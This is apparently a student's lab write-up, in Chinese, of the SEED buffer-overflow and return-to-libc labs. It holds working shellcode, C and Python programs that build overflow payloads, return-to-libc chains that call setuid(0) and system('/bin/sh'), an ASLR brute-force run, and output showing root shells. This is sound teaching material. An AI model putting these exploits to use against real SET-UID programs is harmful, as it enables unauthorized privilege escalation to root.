一、Buffer Overflow Vulnerability Lab

57117118 司晓凯

Task 1: Running Shellcode

将 call_shellcode.c 编译执行，它会调用 execve()来执行/bin/sh，从而启动 shell

```
[09/03/20]seed@VM:~/Lab/lab2$ gedit task1.c
[09/03/20]seed@VM:~/Lab/lab2$ gcc -z execstack -o task1 task1.c
[09/03/20]seed@VM:~/Lab/lab2$ ./task1
$
```

将 stack 设置为 SET-UID 程序，并且利用其漏洞获得 root 特权 stack 程序从一个名为 badfile 的文件中获取其输入。可以通过为 badfile 创建内容，将且内容复制到缓冲器内生成一个 shell。在 task2 中，生成一个 exploit.c 文件，用于生成这个 badfile。

Task 2: Exploiting the Vulnerability

合理填充 badfile 文件的内容，实现在用户程序 stack.c 读取该文件并拷贝到自己的缓冲区（即 bof（char*str）函数栈帧存储空间）后，由于缓冲区溢出，执行 bof 函数的返回地址内存单元被覆盖且对应换成了 shellcode 的首地址，接下来用户程序执行 shellcode 并启动了带有用户程序权限的 shell。

对 exploit.c 编译并且执行，生成 badfile 文件，再执行 stack 程序，可以将 badfile 文件内容传递给缓冲区，从而使漏洞程序 stack 有了 shellcode。执行 stack 程序就可以成功获得一个 root 权限的 shell，攻击成功。

```
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

```
/* exploit.c  */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer+100,shellcode);
    strcpy(buffer+0x24,"\xbb\xf1\xff\xbf");
    /* Save the contents to the file "badfile" */

    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
~
~
```

Task 3: Defeating dash’ s Countermeasure

对 setuid(0)注释后，编译 dash_shell_test.c 并运行，则可以获取 root shell，这是因为此时 dash_shell_test 是 SET-UID 程序，将以 root 身份执行。

```
[09/04/20]seed@VM:~/Lab/lab2$ sudo rm /bin/sh
[09/04/20]seed@VM:~/Lab/lab2$ sudo ln -sf /bin/dash /bin/sh
[09/04/20]seed@VM:~/Lab/lab2$ sudo chown root dash_shell_test
[09/04/20]seed@VM:~/Lab/lab2$ sudo chmod 4755 dash_shell_test
[09/04/20]seed@VM:~/Lab/lab2$ dash_shell_test
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
$
```

对 setuid(0)取消注释后，编译 dash_shell_test.c 并运行 dash_shell_test_new 可执行文件，将不能获取 root shell。这是因为 setuid(0)系统调用可以将 RUID 和 EUID 设为相同值 0，从而将 SET-UID 进程改为一个普通用户进程，降低权限后再打开 shell。

```
[09/04/20]seed@VM:~/Lab/lab2$ sudo chown root dash_shell_test_setuid
[09/04/20]seed@VM:~/Lab/lab2$ sudo chmod 4755 dash_shell_test_setuid
[09/04/20]seed@VM:~/Lab/lab2$ dash_shell_test_setuid
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
#
```

使用 python exploit

```
import sys
shellcode= (
"\x31\xc0"
"\x31\xdb"
"\xb0\xd5"
"\xcd\x80"
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
"\x00"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
######################################################################
ret = 0xBFFFEB28+55 # replace 0xAABBCCDD with the correct value
offset = 36 # replace 0 with the correct value
# Fill the return address field with the address of the shellcode
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
######################################################################
# Write the content to badfile
with open('badfile', 'wb') as f:
 f.write(content)
```

```
[09/04/20]seed@VM:~/Lab/lab2$ python3 exploit.py
[09/04/20]seed@VM:~/Lab/lab2$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
#
```

获得了 root 权限的 shell。在调用 execve 的指令之前加入了调用 setuid(0)的指令。

Task 4: Defeating Address Randomization

地址随机化可以使得一个程序每次分配的地址不一样，攻击者很难猜中栈的地址，因而可以提升程序的安全性。

```
sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

```
0 minutes and 55 seconds elapsed.
The program has been running 48288 times so far.
./task4.sh: line 13: 20424 Segmentation fault      ./stack
0 minutes and 55 seconds elapsed.
The program has been running 48289 times so far.
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
#
```

Task 5: Turn on the StackGuard Protection

先关闭地址随机化机制，再打开 StackGuard 保护机制，保护机制可以及时发现栈的溢出。接下来对 task1 中的 stack.c 重新编译运行（新的可执行程序为 stack_protect)。重新执行 task2 的攻击，无法获得 shell，所以攻击失败，StackGuard 保护机制生效

```
[09/04/20]seed@VM:~/Lab/lab2$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/04/20]seed@VM:~/Lab/lab2$ gcc -o stack -z execstack  stack.c
[09/04/20]seed@VM:~/Lab/lab2$ sudo chown root stack
[09/04/20]seed@VM:~/Lab/lab2$ sudo chmod 4755 stack
[09/04/20]seed@VM:~/Lab/lab2$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
```

Task 6: Turn on the Non-executable Stack Protection

先关闭地址随机化机制,再打开Non-executable Stack保护机制,对task1中的stack.c重新编译运行（新的可执行程序为 stack_protect_noexe)。重新执行 task2 的攻击，可以看到——无法获得 shell，攻击失败，Non-executable Stack 保护机制生效。

无法获得 shell 的原因——Non-executable Stack 保护机制开启，栈空间是无法执行的，即使用代码覆盖也无法运行，所以无法启动 shell。

```
[09/04/20]seed@VM:~/Lab/lab2$ gcc -o stack -fno-stack-protector -z noexecstack s
tack.c
[09/04/20]seed@VM:~/Lab/lab2$ sudo chown root stack
[09/04/20]seed@VM:~/Lab/lab2$ sudo chmod 4755 stack
[09/04/20]seed@VM:~/Lab/lab2$ ./stack
Segmentation fault
```

二、Return-to-libc Attack Lab

Task 1: Finding out the addresses of libc functions

关闭地址随机化机制，并且创建 retlib.c，关闭保护机制后编译，将其设置为 SET-UID 程序。使用调试工具 gdb 查找 system()的地址，gdb 中，键入 run 命令执行一次目标程序，否则将不会加载库代码。然后使用 p 命令(或 print)打印出 system()的地址和 exit()功能的地址。

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

Task 2: Putting the shell string in the memory

为了获取 shell,需要 system()函数执行“/bin/sh”程序。因此,命令字符串“/bin/sh”必须首先放在内存中，所以必须知道它的地址（这个地址需要传递给 system()函数）

```
#include<stdio.h>
#include<stdlib.h>
void main(){
char* shell = getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}
```

```
[09/04/20]seed@VM:~/Lab/lab2$ env | grep MYSHELL
MYSHELL=/bin/sh
[09/04/20]seed@VM:~/Lab/lab2$ ./getmyshell
bffffe14
[09/04/20]seed@VM:~/Lab/lab2$
```

Task 3: Exploiting the buffer-overflow vulnerability

为了实现攻击，需要用 system 的地址覆盖返回地址，在 system 的参数地址填入“/bin/sh”字符串所在内存地址。

```
Breakpoint 1, bof (badfile=0x804b008) at retlib.c:16
16      fread(Buffer, sizeof(char), 300, badfile);
gdb-peda$ p &Buffer
$1 = (char (*)[12]) 0xbfffece4
gdb-peda$ p $ebp
$2 = (void *) 0xbfffecf8
gdb-peda$ p/d 0xbfffecf8-0xbfffece4
$3 = 20
gdb-peda$
```

可以看到距离为20。那么对于生成badfile的程序r2lexploit.c 我们应该在字符串第24位开始填写system()的地址，28位处开始填写exit()的地址，32位处开始填写MYSHELL变量的地址。

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following
three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. */
*(long *) &buf[32] = 0xbffffe1c ; // "/bin/sh"
*(long *) &buf[28] = 0xb7e369d0 ; // exit()
*(long *) &buf[24] = 0xb7e42da0 ; // sytem()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
```

```
0xbfffff69:     "SHELL=/bin/sh"
0xbfffff80:     "HOME=/home/seed"
```

```
[09/05/20]seed@VM:~/Lab/lab2$ gedit r2lexploit.c
[09/05/20]seed@VM:~/Lab/lab2$ gcc -o r2lexploit r2lexploit.c
[09/05/20]seed@VM:~/Lab/lab2$ ./r2lexploit
[09/05/20]seed@VM:~/Lab/lab2$ ./retlibtest2
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

Task 4: Turning on address randomization

在打开了地址随机化保护机制后，重新执行执勤啊的攻击，发现无法获得一个 root shell，攻击失败。

这是由于在之前的实验里，地址随机化被关闭，对于同一个程序，它所处的地址不会发生变化，因而写入 exploit.c 的 XYZ 的值以及对应的地址适用于每次执行。但是当地址随机化保护机制开启后，写在 exploit.c 中的固定值就不符合每次执行的需求，因而攻击无法成功。

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb759bda0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb758f9d0 <__GI_exit>
gdb-peda$
```

```
0xbf864e0d:     "MYSHELL=/bin/sh"
0xbf864e1d:     "QT4_IM_MODULE=xim"
```

```
0xbfba7e0d:     "MYSHELL=/bin/sh"
0xbfba7e1d:     "QT4_IM_MODULE=xim"
```

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7535da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb75299d0 <__GI_exit>
gdb-peda$ quit
```

Task 5: Defeat Shell’ s countermeasure

当/bin/sh 指向/bin/dash 时，我们不能直接返回到 system()函数，因为 system()实际上使用/bin/sh 执行命令，而/bin/dash 将降低特权。

解决这个问题有很多方法，其中一种方法是在调用 system()之前调用 setuid(0)。setuid(0)将 EUID 和 RUID 设置为 0，将进程转换为非 SET-UID。应当修改 exploit.c，在调用系统函数 system(“/bin/sh”)之前，先调用系统函数 setuid(0)来提升权限。

在 bof 的返回地址处（&buf[24]）写入 setuid()的地址，setuid 的参数 0 写在与其入口地址相隔一个字的位置（即 buf[32]）处（因为 setuid()执行完毕之后，会转向存放 setuid 入口地址的下一个位置，所以这个位置应该放入 system 函数的入口地址），同理 system 放在

&buf[28]，system 的参数“/bin/shell”放入&buf[36]处。

填充顺序应该这样：setuid()入口地址|system()入口地址|setuid()参数|system()的参数

exit 被覆盖了，也就是说这样的话无法正常退出，不过不影响提权。

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following
three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. */
*(long *) &buf[36] = 0xbffffe1c ; // "/bin/sh"
*(long *) &buf[32] = 0x0 ; // "0"
*(long *) &buf[28] = 0xb7e42da0 ; // system()
*(long *) &buf[24] = 0xb7eb9170 ; // setuid()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
```

```
[09/05/20]seed@VM:~/Lab/lab2$ ./r2lexploit
[09/05/20]seed@VM:~/Lab/lab2$ ./retlib
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
```